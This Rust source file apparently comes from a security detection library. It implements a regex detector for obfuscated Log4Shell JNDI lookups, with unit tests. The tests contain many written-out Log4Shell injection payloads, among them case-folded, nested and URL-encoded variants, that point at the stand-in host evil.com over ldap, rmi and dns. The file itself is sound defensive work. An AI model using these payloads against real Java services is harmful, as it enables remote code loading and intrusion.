security_rust/protocol/
log4shell.rs1use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7const LOOKUP: &str =
12 r"(?:jndi|lower|upper|env|sys|date|java|main|ctx|base64|hostName|map|marker|spring)";
13
14static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
17 vec![
18 Regex::new(r"(?i)\$\{(?:lower|upper)\s*:\s*[a-z]\s*\}").unwrap(),
20 Regex::new(r"(?i)\$\{\s*::-?[a-z]{1,3}\s*\}").unwrap(),
22 Regex::new(
25 &[
26 r"(?i)\$\{\s*",
27 LOOKUP,
28 r"\s*:[^{}]{0,120}\}\s*[a-z]{0,4}ndi\s*[:/{]",
29 ]
30 .concat(),
31 )
32 .unwrap(),
33 Regex::new(&[r"(?i)\$\{\s*[^{}]{0,120}\$\{\s*", LOOKUP, r"\s*:"].concat()).unwrap(),
35 Regex::new(
37 &[
38 r"(?i)%24%7b\s*",
39 LOOKUP,
40 r"\s*(?::|%3a).{0,120}%7d.{0,4}ndi",
41 ]
42 .concat(),
43 )
44 .unwrap(),
45 ]
46});
47
48pub struct Log4ShellDetector;
49
50impl Detector for Log4ShellDetector {
51 fn name(&self) -> &'static str {
52 "log4shell"
53 }
54
55 fn detect(&self, input: &str) -> Option<DetectionResult> {
56 regex_detect(
57 &PATTERNS,
58 self.name(),
59 AttackCategory::Protocol,
60 Severity::Critical,
61 "Log4Shell lookup obfuscation detected",
62 input,
63 )
64 }
65}
66
67#[cfg(test)]
68mod tests {
69 use super::*;
70 use crate::test_helpers::{assert_clean, assert_detected};
71
72 fn det() -> Log4ShellDetector {
73 Log4ShellDetector
74 }
75
76 fn assert_hit(input: &str) {
77 assert_detected(&det(), input, AttackCategory::Protocol, Severity::Critical);
78 }
79
80 #[test]
81 fn name_is_log4shell() {
82 assert_eq!(det().name(), "log4shell");
83 }
84
85 #[test]
86 fn detects_case_folding_lookup() {
87 for input in [
88 "${lower:j}ndi:ldap://evil.com/a}",
89 "${upper:j}NDI:rmi://evil.com/a}",
90 "${lower:j}",
91 "${upper:J}",
92 ] {
93 assert_hit(input);
94 }
95 }
96
97 #[test]
98 fn detects_prefix_collapse_lookup() {
99 for input in [
100 "${::-j}ndi:ldap://evil.com/a}",
101 "${::-j}",
102 "${::-J}ndi:dns://evil.com}",
103 ] {
104 assert_hit(input);
105 }
106 }
107
108 #[test]
109 fn detects_lookup_then_ndi_tail() {
110 for input in [
111 "${env:BARFOO:-j}ndi:ldap://evil.com/a}",
112 "${sys:user.name}ndi:ldap://evil.com/a}",
113 "${date:'j'}ndi:ldap://evil.com/a}",
114 "${java:version}ndi://evil.com/x}",
115 ] {
116 assert_hit(input);
117 }
118 }
119
120 #[test]
121 fn detects_nested_lookup() {
122 for input in [
123 "${${lower:j}ndi:ldap://evil.com/a}",
124 "${${env:FOO:-ldap}://evil.com/a}",
125 "${${sys:x}${lower:j}}",
126 ] {
127 assert_hit(input);
128 }
129 }
130
131 #[test]
132 fn detects_url_encoded_payload() {
133 for input in [
134 "%24%7Blower%3Aj%7Dndi:ldap://evil.com/a",
135 "%24%7B%24%7Blower%3Aj%7Dndi%3Aldap%3A%2F%2Fevil.com%7D",
136 ] {
137 assert_hit(input);
138 }
139 }
140
141 #[test]
142 fn ignores_benign_inputs() {
143 for input in [
144 "Hello, this is a normal text input. Nothing suspicious here.",
145 "the price is ${amount}",
146 "The total is ${total} dollars, tax is ${tax}.",
147 "cost: $10",
148 "const x = `${name}`; // 模板字符串",
149 "printf(\"%s\", ${var});",
150 "${date:yyyy-MM-dd} 是 log4j 的日期占位符",
151 "${env:JAVA_HOME} 读取环境变量",
152 "url: http://example.com/?q=%24%7Bfoo%7D",
153 ] {
154 assert_clean(&det(), input);
155 }
156 }
157
158 #[test]
159 fn ignores_shell_default_and_alternate_expansions() {
160 for input in [
163 "echo ${A:-${B}}",
164 "echo ${VAR:?${OTHER}}",
165 "make: ${CC:-${CROSS_COMPILE}gcc}",
166 "echo \"${PATH:+${PATH}:/opt}\"",
167 ] {
168 assert_clean(&det(), input);
169 }
170 }
171
172 #[test]
173 fn ignores_short_suffix_before_ndi() {
174 for input in ["${x}ndi/x", "${x}indi:", "${x}hindi:", "${name}andi: 你好"] {
177 assert_clean(&det(), input);
178 }
179 }
180
181 #[test]
182 fn edge_cases() {
183 assert_clean(&det(), "");
184 assert_clean(&det(), " ");
185 assert_clean(&det(), "你好世界 こんにちは");
186 assert_clean(&det(), "lower:j}ndi:ldap://evil.com");
188 assert_clean(&det(), "${lower:jndi:ldap://evil.com}");
189 assert_clean(&det(), "${ndi:ldap://evil.com}");
190 }
191}